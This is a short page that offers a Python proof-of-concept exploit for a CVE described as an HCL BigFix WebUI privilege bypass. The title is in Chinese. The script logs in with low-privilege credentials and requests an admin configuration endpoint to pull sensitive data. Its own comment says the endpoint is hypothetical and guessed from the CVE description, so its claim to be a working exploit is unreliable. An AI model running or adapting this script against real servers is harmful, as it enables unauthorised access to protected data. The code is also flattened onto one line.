CVE-2025-15634 HCL BigFix WebUI权限绕过漏洞

import requests # Configuration target_host = "https://bigfix-server.example.com" login_endpoint = "/login" # Hypothetical vulnerable endpoint based on description vuln_endpoint = "/api/environment/config" # Low-privileged user credentials username = "test_user" password = "test_password" def exploit(): session = requests.Session() # 1. Authenticate with low privileges print(f"[*] Logging in as low-priv user: {username}") login_payload = { "username": username, "password": password } try: login_resp = session.post(target_host + login_endpoint, data=login_payload, verify=False) if login_resp.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") # 2. Directly access the unauthorized sensitive page print(f"[*] Attempting to access sensitive info at: {vuln_endpoint}") exploit_resp = session.get(target_host + vuln_endpoint, verify=False) if exploit_resp.status_code == 200: print("[+] Exploit successful! Sensitive data retrieved:") print(exploit_resp.text) else: print(f"[-] Request failed with status code: {exploit_resp.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()